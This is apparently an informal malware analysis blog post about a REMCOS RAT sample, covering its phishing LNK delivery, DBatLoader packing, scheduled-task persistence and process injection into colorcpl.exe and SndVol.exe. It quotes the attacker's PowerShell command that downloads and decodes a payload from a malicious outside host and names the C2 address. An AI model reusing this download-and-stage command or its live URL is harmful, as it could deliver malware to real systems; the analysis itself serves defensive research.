Side note: This malware sample was originally analyzed on 07-30-2025. I was just lazy and didn’t get the post up until today. Dates in the analysis will reflect the 07/30 analysis date. This is also a really lazy writeup.

Intro

The initial incident was observed by Point Wild’s Threat Intelligence team Report Here.

This report covers the analysis of the sample and attack chain. Check it out, it’s a good write up. However, from the publicly available reporting at the time of original analysis, there was no information on the injection of SndVol.exe as a method for loading the REMCOS payload.

This analysis focuses on the sample’s use of both colorcpl.exe and sndvol.exe as injection points for the REMCOS payload. Previous public analysis only lists the colorcpl.exe injection method.

Payload analysis

The original payload is sourced in a LNK file that is sent to the victim in a phishing email. This LNK file executes the following PowrShell code:

(new-object System.Net.WebClient).DownloadFile('https://shipping-hr.ro/m/r/r.txt','C:\\ProgramData\\HEW.GIF');
$file = 'C:\\ProgramData\\HEW.GIF';
[System.Convert]::FromBase64String((Get-Content $file)) | Set-Content C:\\ProgramData\\CHROME.PIF -Encoding Byte;

This code only works in PowerShell 5.1 and will fail if executed in other contexts or versions.

To retrieve the file, I simply adjusted it for PowerShell 7+

iwr "https://shipping-hr.ro/m/r/r.txt" -OutFile initial_payload
[System.IO.File]::ReadAllBytes("$(pwd)\initial_payload")
[System.IO.File]::WriteAllBytes("$(pwd)\decoded_initial_payload", [Convert]::FromBase64CharArray($file, 0, $file.length))

The payload is downloads to the ProgramData directory and writes with a GIF extension. However, the data contained in the file is a Base64 encoded binary string. The initial command decodes this string and writes it to a PIF file in the same folder. The downloaded PIF file is a PE file that contains the persistence mechanisms and REMCOS payload.

Running the payload through a PEAnalysis tool reveals that it is likely packed - this is due both to the data sections present, as well as the high entropy of the sample.

07/30/2025 23:08:01	Initializing Module
07/30/2025 23:08:01	PE File Validated: C:\Users\******\WARNING-MALWARE-AHEAD\REMCOS RAT\brief\decoded_initial_payload
07/30/2025 23:08:01	VirusTotal API Key found. Getting results.
07/30/2025 23:08:02	VirusTotal Results found for hash: 5EC8268A5995A1FAC3530ACAFE4A10EAB73C08B03CABB5D76154A7D693085CC2
07/30/2025 23:08:02	Checking for packing via entropy
07/30/2025 23:08:10	Entropy: 7.70734612417401
07/30/2025 23:08:10	Entropy check time: 8.4899264
07/30/2025 23:08:10	File may be packed
07/30/2025 23:08:10	Beginning PE analysis
07/30/2025 23:08:10	Testing PE file type
07/30/2025 23:08:10	PE Type: PE32
07/30/2025 23:08:10	Beginning PE32 analysis
07/30/2025 23:08:10	Parsed PE file type specifc sections
07/30/2025 23:08:10	Getting imports
07/30/2025 23:08:10	Total execution time: 8.8695117

The PE is a Delphi packed sample. MalwareUnicorn has a great reverse engineering course that covers the basics of analyzing Delphi samples.

Opening the file in IDA Free, it is fairly simple to identify the start function.

From this function, we can browse to the actual loader which assembles the data of the actual payload.

However, actually unpacking it seemed annoying, so I didn’t do that.

Dynamic Analysis

Instead, I transitioned straight to dynamic analysis.

Running the file reveals a TCP connection with address 198[.]23[.]251[.]10. This is the C2 used by the threat actor for this sample.

Getting the process attached to this connection shows that svchost is running the process. This typically means some kind of service or task is executing the process. In this instance, it was a scheduled task running.

Process Monitor captured the task being created.

The task itself simply executes the original payload. It gets written to the same ProgramData path, but writes as a .URL file. The task executes the URL file, which in turn, executes the payload sample. The payload sample executed by the URL file is written to the user’s links directory C:\Users\%USER%\links\*

The hash of both the original payload and the payload written to the links directory are the same.

(Thank you Darien for the spell check)

Additionally, here is the URL file being accessed by the original payload as captured by APIMon.

And the Sysmon events for the task. Just for fun.

Note that svchost.exe -k netsvcs -p -s Schedule lets us know that the svchost process is executing a scheduled task. Something that’s good to know for analyzing malware.

At this point, nothing is too surprising, as it closely follows the analysis provided by Point Wild. However, I found something strange while I was looking through the execution logs. It looked like SndVol.exe, the process used to control the volume of the device, was being executed as part of the execution chain of the payload.

This seemed really strange. It wasn’t in any of the original reports, and so I took another look at the sample itself.

I found that in multiple executions of the payload, the injected process seemed to switch between colorcpl.exe and SndVol.exe.

In some executions, the PIF file would execute the SndVol.exe process, and in others it would use colorcpl.exe.

(Yes, some of these are taken from a brief I did on this. I was just lazy for the post lol.)

APIMon logs confirmed my suspicions that SndVol.exe was being injected.

The loader used in this sample to deliver the REMCOS payload is a DBatLoader as identified by SonicWall in a report on a similar incident in early July. This sample also uses the timeSetEvent API to delay the callback function of the loader.

Final Notes

I was live posting some of this while I was going through it.

More crazy posts here: BlueSky Profile

IOCs